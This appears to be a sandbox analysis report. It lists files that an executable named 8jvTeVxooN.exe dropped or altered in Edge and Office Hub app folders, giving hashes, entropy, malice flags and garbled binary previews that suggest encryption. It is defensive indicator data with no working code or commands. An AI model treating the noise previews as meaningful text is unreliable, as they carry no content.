SHA-512:	BF276395F549C828552C343CE064F2DF45A5B5755B32D66AFC19E030FB887DE80DE5F678BC0BF12A5F582F33FC7E4C1B856720503A0B8018D1DDCDA0FA9C7818
Malicious:	false
Preview:	.PNG.L.c....&..Cj..D.M.........F..f.$BU.md......4..h..#^l."..._t?S.V.u..b... 2:...n...KW.p.c.G_....v.....d..i~3.+4N".i..... 0.S...f.x.N..V..4k.N......:+.Y.{..\..r...~....#W.O...TZ..>.2..g.....'#..D..>U.u...O2.pH..Z.G..:...o.XKB`R.....AU..8..c~...h......C.}.....Z......{..>Q...z....../i.e.s.j.B$.......CI...O-[<.1."<`..S...14W.i.WSh.....R.. .z..Z]....p_...........V..@OG2.....d..n\|..X..I..4....\|.........~.........>..P..y.[{e.[b...3C...G.;.++)A..M\N.))'....=......L......tD...O.S.....f.k.D..$..B.^H./..`..y.@.....##.....&......e......\|U..[ke....F.kQ..=..P...3...c+....R\..,.9.-.~..Go.......bh..{.r.p..Y.-h.K.p..~Z.dt......9_Fh.O..'.X..U..h.^C4Zm..?.-.R...Q5.Q}.M.(n.S..M..F'..%.6 ...f4..7Y.....Q.P..."......>-......sKvy.0..CVa.....4..}.....A...U...;8.6......".......g...6^.).T?.Z....B..(..5..Ka..N..L...9.MK.S.&E..gSE.@.)...Q48..0.zN~.....I..w!.....5..9#....N.R..wH,.....i.l.h)..(..r..Ph.U..9.#<......0od.K..*...".-qK..DG.x.q..B...'.0F\|.1.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1961
Entropy (8bit):	7.902895083111883
Encrypted:	false
SSDEEP:	24:bB87xJEWLKOs2Rxtbyyfv8YnZNMG2tP3wN2LYQnNKx647C4BKolSf3seW4b+VRZj:bilWcVyknfatP3uQNKRKoycBAU6wgStD
MD5:	3BE0734FC15D61F7BE2F4B917F193A4B
SHA1:	092153E6E9FE910DB5C5C831E580461F790C7893
SHA-256:	1D8696B61FF16856A37D91127BEB6E477B99AA4D70A8CC706542A98A17FF7FF8
SHA-512:	F91426A62435BDCEE2BD68F08442DFEC953DE14C56C4FF1AF53D653055240E53BACA236B33C7803EF9548E3F840300C8374FB611AC17236AD98AC0095A4525F0
Malicious:	false
Preview:	.PNG..k..M.e\........~.;-Z.&1A+/HGMF#1........S.T..3....2.$..<y...K........K.,y....@....,..=..].....#..........,Vz.\.2.$..s...X,t.W..........<jJ.{.....q.:.\t.(.-.ci..3$.),.l...IT....#...p.}...BXM.4.....~.x.....I........5..k. ..2..56..p{......1$a..r'...&b.3S..v.....e0......C..-.....7n.#.6./....i].+G..8..U_.{......B..nE....o...A.i3..s{...c2a..)b.f.a.\....'..<.-=\|^...km.v51..."............. ..c..4.k.<..G.2.P.......w.+........`..\..l.5.:Z.OPJ`....0\|."A.....K...B...kI3.V,v.Y?.V".1.S....q.%z. /7...~u..TM...2.)."...>.$.Y5..N&...W.5.....E1.c8J..) ..:z>x...C.e.......N......Q.....K.....%.~..b.u.4...@...(.Cp.H....`.....W`.,.E1MB.$.%B....%u.N.@.......`"{.}.M.......}..&.y&7/P..9.C.......r..y:.G..............-.\|..t7....!...B..M..m#............#..d.CeW..%F...;.... .."...\|.gl..]....v../....K...(.KJ.yc.6.WhY...Cv...m(kh.>.2#o....nOZ .vx9.Z'8.}]...Z.?Z%..6.+.....k.u$.....p<4L^Yd.B...k....K_\|R.....C..v~..~ .XD..6....;.`73..h....\|Hu...5....T....5..r.E

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2735
Entropy (8bit):	7.938659479887367
Encrypted:	false
SSDEEP:	48:G1iVdZhX1bfuPjAXFZy/hsl+JZgdhFbD+gUfHb91eIFnbbw3D:G1M71bacFZy5xJZgjRD+dHyybe
MD5:	DAF5CA8F7298BBB0E12A64832C67BA02
SHA1:	01271E8621C9A579A82639712A03F0B59BA73AA8
SHA-256:	52E300E17B1863E7EA587C440A343F5C6DEAB567AD8A3FC2D4ABF3E035479B5A
SHA-512:	A71BB3676B97A567099DAF86CC4A844FAC2FB99D7BCC9FC56032CCF2E838DBF6D1AAF3289AEED7F69A8B2C8D4155CE79E4321FDAA48E209E86282B94419EDB70
Malicious:	false
Preview:	.PNG...*^OD.Qu3..`.~H.....".....0..r........P...>..].J.#z...z.....>.^....Z..o...=......+......M\|d.....["..\.MFG.h.G.\|].)....p..Y.g...4T...L......Z.15.p.}...qE-.1...F..M......m....KA._....l..G.e....i..}.\\..?E/..UA..!hLt(.`.?...$....EM...v....a.....b..8.Y...c"..8..?XQ..[...n."."..\|$........Y.K_..-.=Wd..CL...<R.^.}.q+:..8....zY.FZ.P.I>.<.~.a7.G.s..=.Ci.D@.z.f.Z..;P.J.A.e...d.N..b.u.......^......h.?Q..T"..,....>u..h&....d.:.y...}...qB;.O5..OHj..y..^........7.....<`S...jd..43.W...y&..a.....1...U.5wN.T3...(.T.jG..L.K..9."...e..,.9!.7.....w..n...E..+.....).!..vhMv.u..5A.,=...q.......K].....:!W.8.U..1.%;.{..D..i....t...$(FM.O.@..1..-L.....1.y..lO.ky..k~.1e/..kh.....y....B.1..h.....b....^.W':c.<...E..=."F'.....n.1I....@I.d...H....><.@`......&.W..n......[.PA....2.t.....nkH..\T.."......:.t............G.0...J...q.....C.e.g..;.C.4}F....i........M~...f....U........`t....e..4).U..Z.c}..z..G..cz>.id..W..7...&.{;.2..>l/(..H...x..na.8.lC..#

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.899079661576188
Encrypted:	false
SSDEEP:	48:nXPW4qJwy5wS6Q71VgzXMiSHkul1ysPZXQFID:fWhSOVgzXU1l1bPZZ
MD5:	686D18FE2E28E9FB2D901B3977998553
SHA1:	912845D064DD8D4E1F8B12E035457217D56A8ED2
SHA-256:	6F7666269E94B041A8582711B512FEE939F9A872D6A16B92394282854362653D
SHA-512:	894535AF0A5FBE21F38A4B3497CAD508796DAD59FD8FB8A5C8C896F1F936518325A4A11A76A50D5484EE36F7D78B8CBB1787BC7438DF16B72C8E578981D1BF5F
Malicious:	false
Preview:	.PNG.~..5.K...\|..X4..$..../f_~i..X.;v.H..{...0............1.n.n1..*r...gM..\...;'}..u.+.>@M....V5..i..xH.{.....c."..UF(..va..j.Y...j.i/,n~.jj..Z]..>.l."A.B.....M8b.>...!t.Y.lS...n.d.C..@...1M.......:...x..xU...s......H.qK..(.I.....V.@......pq.....u...).f.S..iB$....._.....`\|..k.........c...1..FK.....X.......R....S...~....c....a..&B.'.I...?.O....h.7_..CFF...1=.Q&..>'.......$.#.....IA....8d.;.+.G......V8C1.Q.GB?...!N".P..]..N..+..........k..W-..U....c.\r.5......'.....C.......WZ.I..V6...O_..n..y...K..w...B..Z..._u.....u....f.Q..N.p.'c..v.Is'ee...L4HO{......Hw..X.q...T:.........s)0.u42.`KN^z...N.....b!...x@.jn..y.H.....A.....5...Z.:..P\D...J...5.>.p.4.....F.+,..Jh.nF.\|\| Bu.Te.A....4L..W.O\|ux.+..A'..m......p&:q......Ga..}.._...r].2."O...IGU@.Y.9..o....b..?2.x...7cJw"z<5...0..2&.bNv.....t............R~Hi.Y...Z:x.Mc+....N.k.E)...W.Vg.......O...X.g..7....)...`...l...H......'$...v^..$Ov...o....{:..o.'fnip.Y\n..(=.Y\..$_....n.\.U.V!...P.q...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1887
Entropy (8bit):	7.875226872962162
Encrypted:	false
SSDEEP:	48:w8EzIYx5UtJsnDpj1JaqG/KxPnK9NpFPFmIuPzrD2iFlD:wUYx6t6n9pTfxP4jFUIWCa
MD5:	A58602E104CA6E0BF6D24E9B683B9744
SHA1:	B1DA85A1DF91B364A26A7717BB00A9B7BA7127E9
SHA-256:	6F3FD9D62ED299E6062234A895D7CB1975FD8B9893B8E6DC6DEC17D87580C4B6
SHA-512:	6F9FAFED155305A5FC341933A7366C28CA944A5EA400E7A35FA7D4762A6AB638F6D93891E3CFA913246A811BBC645C9E11377D8D0A42F3E37FB2FCB7A3288693
Malicious:	false
Preview:	.PNG.ee...._...>..9.....a.Q...B2.]....!......MQ..\|A..6.U.._....P...q.. ...]7.....J.V.....G....H+_..{..IX..&Bk...V..{j.,M.2....V.Q..A.%....#,..".....t...~A.8......U};..4..../.w...v~m..R\|.q...............B.\....!...W.wG.f^..A...eN..G.^[vp(F... %j#...e8ph9...+.+.p/.<.=.s...1h.."....=).;..F%. Fe.KZ,....X.....\|ZF..&.=.\|V......G.7.......5...:.>....\>.#..=.z.......y."...v ._b.i.[.m...iW2M.&..bNC.?.+...hc.[.4?.1%tL......P..-.....I........^#.Z..t.-.....S.j.1F:,.r..B..e.(mUSB.....Ot.x$9.f.l'....,/..u/.uI..8.}.G;.#w...m.a.z.cx...}.........H. d.".Oj....O9..k.kY..g..5}...eo....J.T..w..z./.^.d...s.d..'......~.>w...#}....'J..._gk...&i..g1o......i.......3.....4f..H..R.w...{6,.........8..C...@}..C..\|-P. ..6...cnD..sg':..4p.f.Z.b:2\|..0.\|%h...W..ij.....Pd..@.....tZ.....m.dQ..L..&.....H.0..3/..../m.......!!H.i...=....AJ.."p..........G......J.Cn...R2dC.v..p....q......t.+.`...=.R..(....o.5..)._.l."\ .....r\........S.....PH...........i.P!N.h.]*.-..a..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	7.873032805425121
Encrypted:	false
SSDEEP:	24:zBQ8mCRSVKaWhKZ5PAkFMmjMCVr5HSappMMKq8wmPnlbpHObD:zzFSMLKZt+m4C3HnMjhnluD
MD5:	323A12EF2007A6F7C2158478F1DEF3CC
SHA1:	E27409F90FDD77FF46E6AE04DDBF6BD325D715EB
SHA-256:	484033A865CC899449C30B5BA915BC33565D3AFCCE23D4F803C988DFF874DB90
SHA-512:	C898FF35345CA0222FDEF37E02E26B56B6C50520B3A47917D0EF94188FACB1CBD1B619B94FAFA91AB23AE00280E5E2DEC14C530036241B859E0492EF141A8222
Malicious:	false
Preview:	.PNG..t.3v.r..v..j....!.E. ..C....6B..Z..e...&.....N.z.....13R...J.(..(p.....\|.h+..+...E.....k.3.o.c.i.....)b..s........3...^..<4.3....o....'8....."....B`..&<....#..6.\..).7M'....t6.._.."a...X.....D<...?.U..Rt.\.#.......Y.[.E.}m.j......./.$...s.+...F5;.,M...........+W.3.z:j.....\.j..!.3?..3..6d..Pg.%W..T......>^.i..et......gV...egdb.@*.,.2U.Bn.b....-.r...##d.....t.._S........'....,..-.>..!.],Q#..D...U...+...o...7'.S.'.'..../.{..x6t)N.}..-...Y........r.......a=..Y.~.m.p.Y..+..1....\..E@.....3.._....r....k...f\..wd?g..A..).RFB]6...,...G..`.:x.6...ff... w&.D..7.........yi&...k...!Z..^..x1.._i3-.t... 0$.;c...c&.^....N...E.....J ..+U.c:....=^7.Q.s....=.V......oV.......e3...3..Z.\.(..of.q...AT.N.. . r,.2~s). .7o..3..+V.[.l.v.-..0..........4..<..c.....".{y0;....?+.5..[f. ..V..h6..pm.K...+',..QH.......m.&...4.xM..+....0&.5{.PRc.<.. ..[.....Z.z.......j...hI.T.8..C...X.j6G$.w....}-`.......@...p..e...3..#.g]@..f..c.pzj..[..W.Q4...c.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.888593690720577
Encrypted:	false
SSDEEP:	24:ieWOXAvEmHJfuz1cNMM30BY9IBBPnOLJLTuEKNIiJUieYsN92DSkbqSyRBg2ObD:hAsmpuWn3+Ysn0JLihI2Hm92mkyBgZD
MD5:	154AC9A97C4BD440D05646B84AD8A7CB
SHA1:	2C6DA9DF0ACE4ABC6122082E68EBC227F9B5AC8A
SHA-256:	7C4E94E578A584426C594A74F81DC49C63BCDD80CB30234DD6FA7F4C0F473EFB
SHA-512:	7B0224DB94D1E9D7388D9C2A80F69AABA6EE3A25884CCCEB4532F30FB82C459C675566AAFB3F9E04720143325E3563346E388A17DDCABAC3F8C0E4284A813256
Malicious:	false
Preview:	.PNG..[vT3a.....E.\|1...F:j8..S....&A....!...=.=...FL8TR..r.O.2.....9.C+..L....i..N.. 2?7.J.O........"I...d.nQ....i...o.x}..}U<.S...r..o/....`.d.......].^1....O.C..8.^ZrA...y.dU._<...iz....v._....^.0....E;[.]..Z...7q...<......\|.h.....M.......J.j2&..v.....V3.'.....1nux....M(.IW... ..ydn....Y...&....g.g-.bGV1.q.4...l....B8.RX.../.......y.!.l......"t.+.....{..2c..E.Y...~....9.iK...._.9.z6\|..C.}!..Jw:I#+.....=.........5r\.....o....[.l...y8.......Q.Mz..;.\|\/.......^+...N...~HXO....Y.QO.e..7.)m.!V<.2.D03.6>.L.....C65K..e8a..:p.,.-.4.x.1:.:.R....}...C..ur..9.N...yy....jEJ.R7I...T...4KM6,....v.d.Q.)....^.[..bh...XQ.n.e.....#".f>.".....X.4.....fZ....Y..>.}..f..O..!g.8.b../.....{-@.Q....27...>F.5...~.T.,e.u....C}..o.......k.F.$..6...6.<-GG,6.>.m.U....B........7UL4J3.a)...#...)\.$.T<....`zK._....$.%.'5.d.&...W.k.Z.~.....W;."...h.].g.....I.Kl,...k{.y.G.I/..'.E.X,.X.G.2...9.Yy.......e.p...@....].&S=.g..9...e............./.k\...KL..@.k.5Wl

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	7.84318677065929
Encrypted:	false
SSDEEP:	24:KjqhDLF+X8ibTPs32V4V7Y5YRqFHjPoocdHE3eapBbULViXJTsrQ1hZQVObD:c4ERHPL4V7KFTHcdHE3hILwJg0KaD
MD5:	890D720EFD993E668FB8221D576217C8
SHA1:	42C482D34327BF5370D22981FB8CE2D01CBA75E8
SHA-256:	E25535777EF6EECE5B4C5657687B4A056001B4F91BBD103261B57D1D8AFDA524
SHA-512:	C50E104C3C09E4588D9336C2E5315301761277888D2832EFE83AC9210E8D4C09AE315CE4CEA3632B1C77127133D491546135745FDD10CAF11DC5525556CC3E39
Malicious:	false
Preview:	.PNG.4..d........x...0.d...{....O..xY.....#..f.T..:..t..R.I.L.B.....rv..,..N%.,.0....e..2...:.\.r.e.5...A.......`..}.D.....FK.s!..1./..!FUz....2.`]...,<..S.rB ...&Q...N.j..O..W...MV...T.H.f...{fC....o.......d..H.g..P.......u.31..Y.[.N.@...T..W.X...H4.....2H...J...".....=...s.OW.V...].l...W.e~...]....U]6......A.:..p..A....U..G......z,s"......H S.T..P...W4.>..AjM.G.....j\..t..4o.......0.JP}....<.0.d.W...,.xO..Wv.u....HF.?.8.~o.[.H.......'....3P...l7%.9Gw..t.y9.>...N..:..9.n.Az.[...q.x.3P....s_..+M.9..}.c.BU.oMu.I....o(.V..6v`9.O.y1....V..{U........kl..:.]8....`.1.m..M..l..:.....2...KB#.$uH........e$..9r..-......A.:..Z>....i.auu~.6.[k.+...N...y..".F....Wu.v........6../c.._...b....y..5..J...?6.jX...RG.~.j+..v<.iF....;.i...p.v.}.%]Z.M.r....\|..pdr.5H8~:..2.....D..D....F...D.~?m..;.G..D.I.<....yE.`$R..V.4..~.+.:..........y...:.......gL..,..H.....#.....+.N.....O-.Nmb...Z.k..$Bry......p....L.t.... N,.eo...?J.c[2.`...yP..?..&.}d.ca.5!

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3861692082298802
Encrypted:	false
SSDEEP:	3072:Vj46Yp3Kj7p8hrC3Z8fRxccR8vqcBpb2CmjEpEIur8YsxtwXWvXiayZRuQayZRux:VjTYpm7ahr7AQ8nBpbwEnG46/B+
MD5:	752CDC1093B964651DEF9FF8559D3ED5
SHA1:	EEE02922E678C30945F60DCA71331FBF9123AD1C
SHA-256:	35CCE4038A6F698F0D91439C2822AE6A86357235DC7EF01F1A4DB552B98CBF24
SHA-512:	33CC72789000534A98375DF1333346FAC7A74C79FE1FF19544C877DDD1398D42C22C4E800F73B4F79C60A2CA5E1EC69D68B9FBFD35AAF697A03A11564C991925
Malicious:	false
Preview:	o.....Xcr..f@.4Q.Q.=i.\..@t0J.m...W.s.~..S....0.s.}...X.H......"...G..=.g,..h.....{Vf...5.....P.3..IH_,.......e........+l..F..:........h.I.^,c....k.9T.}+.R....c.G.F#z...N.6.\|.....l...?...'.A7..{.)..l.........E.X..I.W..Y..TV]m...b..Q.Y....3.M.....ah.....o.^....1......$..=lx,..H...c..7....#%.ax.d.....4.X'..5....D.X.......?...<..f.N.7.. `.A:i.g....).Ej.[..6-..J...N.D5`.."...f..L.....(U.vtC.d:...s.QZ....].zC]..=..B.G.^...........!.N'.Q.~m..xM.....8s3.....{C&O1.97..P`..,.@.-.5.V2.,.Il..&.....\...(.z.^'.T7z.$o.]L._....#.[.....+@J..k.$k.i....k.._.H]W.=7...M.lG...!#26v7..rJ.<....d.br;P.:.`..-".%....V...0.......T...?.?......X..6.ol.......t.;...b..0p...Gx.W'S.!.Dw...._}.7.$.7P.:...x.E.n.Mz_u......t..-Y.....Tj.'Qt C_......%..bu.%...&F:..lK;%/.c..c&....(.......N/..&.....z....B.#!W3E....yr..Q..h..x...\|.}..#Up.`r.z7.)K....H.Z...U$.....9.F.Q.......4....Ot...TBs"\..O5.....J....[Y.4.8y......8.....-..b.FQ..9=>J..41....k...j.H>.M...W.C......&P.S9.#...Y.:......

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.990843920374047
Encrypted:	true
SSDEEP:	384:LTEW7FK1hG0SXDLXcl8p/OElMHyFp266K/ReleXYrwnltP0KWEbQwyf:LADSvewMep2TWelsDzP0tlb
MD5:	647BFD137C75D5463C88F14BDCF45435
SHA1:	17B13407EFA25B8EA34BC015FF072AD9D861842D
SHA-256:	D54B1CB9FE1305FC21B0FC09A589D8D8C153E6DDA1F54BB51DA4EF9F2EEA0BE0
SHA-512:	E3E2765DF0787755E4BB91CB2308F39CD1A67E6225891AF0A9EBE01E7F3CF8ABC07AADEE8A21CFC5BB0397B572690921E632B25F444F96F5E00E5AFAE30896D3
Malicious:	true
Preview:	.......O....0E.......&f..@...`.t..3.r.>._.BJ......)....^......G\|..i.T(.)....).<s}.5..p..Y...,I.x...59.g...............{Xl.;......w.k.N6....Fn.-[.]..Vb.3I...-6.c...%Y...K,.i..j....O.......V...Q3I.z..U...=.-.G...Hxx.E.k..TF..Q.u......55....U..]l......X...=.<..P...83.2 4-..e..#VB).....x .....V_.....0A}....F.k.(p.....}+..1......u.?..g.......a..F.`.PD.T$.@zW.....Hd`A.~....~$Dqj...p......5Yrt.........'....5.".+k'4..=.G...........J....mMp.S)....."..p...._?...8;.7"D...:.....N......Jv.8...........N..G'I^....ml.....#E.t.Yu..+j..K.mo".r..._g.=..`...oo....s6..l.R.p.8.N.....Op5._R..#.i............"^...!....oV.1..[y...C.<..<.?.9...........N..,...bm.L....7L.....B.:.y.....?K.S.... G..0...?M.R.-?.....hn.b#......'.$a.y.!lx.z....+.e.".\..(...7..I.....z*R...Q....U.8y....Lax....x...XtaY..].[._%.... .Y2"}..o;m..P.9i..H.sl<&..C.x.G.t......`>#.2a.d..E.+........%.Ld..30....x.PZ2f(.m.0....K.\.....FV..(..U.....h][..v...LR.(z..7E@./s....\|f.O!t......`......vU.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9746816504750315
Encrypted:	false
SSDEEP:	192:vIJVVQRF6n76WTX/pT42xBDdimwTNz5unNqZNvNV6mJtQrOoNeG6:wJVVQ2XD/p6mwT9ENQNV6mX0Kt
MD5:	FA20B78787F1F3AB915007B06142DA9A
SHA1:	F7CBB2BB2BAB63EC73B37B9EAC832D29706BBEB8
SHA-256:	64D7B5242CAB65F14A54BB605DB948CD6817AEE2F9957ABC2F5C40DFF6C413A0
SHA-512:	ED6176B26ED61CFD44EF21A6A84856C8B3302937D82DB0CACD581E0088A9094455B6AFD1B4E8CA8AB99107C860DCAE014C87417095C95803704B8307DE99DD11
Malicious:	false
Preview:	regf.10w.....q..W.V....-].w.5...C.NJ1.Jw...<(.. s....o..:.\.=.m.wx...`.R...3...B....q1V......C.c......S..S....R.S.T.^4.C.....w...._.ef4....;A.w.Q~..O.t.K{D..(.+..R...i1.....1M,jq.xR.f.;@C...Ls6F.a.c...9}:T.d.dH.....C.f=e.}..IQ.#R{.........Y... ...6=..%+.D.b.h.....".%..;...k..Ga.".2....X....a..........&..j.a..x. .....^..=...i.Zg...q..gZW(.....v.K.+.y.....3..4p.Tl......6>[L..J.].1...Sr..Nx.p.cT#..B......D..f...Z..tV..i....=G]0. .....N...!2.q..A-H."n....Wt.....@s.._[_..q..>>.,;.._..}#.z..2...jrR...m).{cN................]..C}X.In.-.3W.w..`.``..R..Iz.....TF.....z.:.<.p.......Y;..E.Nw.m..]..g...8G..8 j.T..\|E....87c,8..t....L.t8.......?..P..?bDV_....G.0a+......u.36.np9....L.%..%.....&>...)&.....'.....h..,gs..S/4j..h+.!..^,SD...8.b.~,{..u!.Wn$....].2"'.f.4(........?]_......Jp.M.O.... .I.....<v...S..0.9..s...1...l.?..}C..3..'.CG.gxS...CA\|N..e......,.,.^f......l...oU..>.....#{\.4i.Zw....{..J7L.4b$.O..R.....O..X...S..^...`.....a...\....h.v..Ka1....b.n.X.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977200382047025
Encrypted:	false
SSDEEP:	192:jP9odentMk6frQmHVLuoKR5XNbQR4LKzjUaDg73z6:bqF11dqXNbmq7W
MD5:	A4A6EA1908781605ADDAEBB50BCEAA31
SHA1:	D93839D4A458B15418D97329557A38ABBAD93B94
SHA-256:	B815CCAE536306C61692D0EBD110EFBC5B027089FC952876A6C2466BA26367EE
SHA-512:	1B80E79F18DF3092401B4F7568D54E0B1DED65B4E91A2A32205FB3923C00EAA05805457159D28ADCC38826F4CD05F795C31ACB8ED8D10364CB4E64323676D84F
Malicious:	false
Preview:	regf.k.4.m].3.R.....yA..#nN..4...s....L.(d1.......Rx.:}....N.O.{..q...F.r.B.g.....h.(o..r.M\|.r.kkw.>D.}..~...x.....b}.%.......+.6E .. X..)`..R....G]..........fMl....q...._.U....^>g.y......D.Z....@'...o.kK......`..`.o...A.../..^....}1.R.k..v.j..e.O....{Z..B..7..Pr..3.,{...R..k...V...hF..C2..r.....K...G5K...M..S........Z..f..L..P.I...N)...J.!Pq.p...?....R...ea.X@Q....Z..k.l...............7d..R?....z.ynC...`....t\..(O.....P.v..9.S-gF..g.tOoK..f......#x...0.\|.{{..........]E+......#{.@......RS.B.e..8........jnx..7@.....)..b..V.j..#.!.,.6.a..9....9..8.O\|.j.S... ]k.......,...`~.P..m.=..O%._..g..nF...:..S..'..'...c8..z..i...k.i.k..)...R......9......#..jIF,....r....R.........<s+-..p..c.k.J....7X'.U^.$/-.7.KG...M..Miz..)...../h..I...x..].f.../E.....S....s9bI..j.T..[u.%..U.t.......!...d......Qd.[..`...3f.k.\|1..<.....6Z..c0AP.?.......;FQ..-...h.....6..%9V....7.......}^...B..\./G!'...0...R.>.l....p..7........=..\|s%,...8....z..?..1....j.p.5faN....q

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9796973605834385
Encrypted:	false
SSDEEP:	192:k00DNc5WM1CmOMhqRwmoGllVdc0XbC2NuNS:LaNfMhlmRvcO9
MD5:	02ABF716F3118B336C1CE34D3D0EFD87
SHA1:	99A84606BA281DC8EACF90D88C3FD8CAE44854E3
SHA-256:	ADC6C0DAA8E4A03BCD371B5548866863860BD92B902EC96829A663C80C5115CB
SHA-512:	00C7FAC3A6F34CCC2EBC9B64A73D95EA0B03647C9AB29446CF814379A867DC76E950B3E4251107481B31BCED098A0CF939370A7090C24A30783964C1EC056B6D
Malicious:	false
Preview:	regf.6r..S........dk........p2@...CD.K..>.\.26......3=..!<2ds&ffL.".......(O.......<.N........ .r...j.W..Cssc9S....z..AP.`V...]G 0.JF[.34.@.;`.U"..C...K.f=k.;.=....O............@:.....a....#g....\.X.o....0:^....9.L,.l]..Nx..1....b2.4....k...'.....d...s.....+..=m........-.w+B.t..IA.n)<.Y$I.f..GL...i.v.N......+...Q.jU..q....e.Y.....&.mXC...&y.!..~&.OIB8....z^.b.$..G9.~....~......6../..&A.Z...F.Z.....A&6.A`....M...w=....[...E..@.....v4..4..\|...}....Kr.8..iWA..S..83r....L5...".=\|H....%....M.....b+.V.vS..hP.hL.......\R(...{...Y....c.........l.....'..\.W...x....XDc\|....;..%..L..U...F#.LlH>E=..;Q.G.<V..-;\yi..}.../..c...a.F...c.....[....,.Nj4....O........3.<.."....!kg.....;DG..Q.!O2..(....<L,S..}._.8.V...[..._].......{%...C.E..7!.Ee.Z...j&.;@.Vot.M..D\.).^.^...3...p.x.B/n...\.X@...........U.Q?Io..@4'..Q.?D3....=d...%...f.a.GtV...K.?.......l./..(..r... ..C'rS..w.m.o..I.a...g...IO.K.m.Y,.p.iU=..(../......L$Ss..yJ1.yl..z.\.).L.",~rf..S.+:KS..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979972577312236
Encrypted:	false
SSDEEP:	192:MsNT2rI8LqQZ67qErkMQ/OB1SJw4A+7Btrkn1KAwydgGUwIB9:Ms+3LNZ6GEAMQ/k1SDlddk2ydgFwIB9
MD5:	B2AC0922E5EC99DEA3DE1C42A2D28417
SHA1:	5353E513E4DE93AB1DBA41F4EAF09A9553D3FAA9
SHA-256:	CF8067D5DCF12BC2D0453C8D2D2C4D6230ADB4B6A18CC063E112B7BC5C860698
SHA-512:	B1DE1286CD3D5277D9BADE2C42A906B8040ADAB16C49C8FBCE11B60FA2D1D6534A5B0FE816C3F86B8480644E168C550E5D80727D9A85AAD2377E2EDBCC618692
Malicious:	false
Preview:	regf..Mq...#....B..:.....%CX.x.~x.....B.6,.k....j.g..`7............Q.X...%...l5.hW.....L@..h.,?j.^F.#@....H...w..qp......_".v.......8.If.:...<S..p..H_........:.'..XF.n......C.+...i.d..`...p.G.....x....9....N..F...uB..kB....47..d.n.<A.gZ.........!;.).d.c.T..x....l.....ij...\|.%.@.=..F..o.Ub.&o.....J,.....}....`aF+.=.g%Y.......'?.[S...zf~..q..s..M....._....pG4^.t.1..S...&....V!2....v..5.r4.....yPW...R.a.5...*A.Js.r<.+.kFp.T...D/.2Z.Pw../M'...Z....'.....$.^..\L:.vJ..V3=....h.]...j}..x.>.Y..~_EHU..O..v..~0....\|.G.....#..9e.......C.g.A..k._..G.6... ....c..q..\"^.JJ..../vNQ..IN..L..O.....F...D.D...?.....R.^..Z...b%U.DW34.?Z..yO.m.z.....r\|..)q...B.zD..%..b.T......x.6..T...p.$.....&~.....d.......9/,...G..N.d.o.....IP...1....!u...;C...Y.~...r0.6..^....^....l..`Vj..m.......\|L.&0...k.........2ay...-..jK."-g3.!...s.H.......:A.F..$.H?..._3+.t....Y_l....e}0E....!\@......X?RI.....\|.n...q&.D?E..(I"..R.e.:T...9.k.j..y.m...g.....`....k...1a..........d...

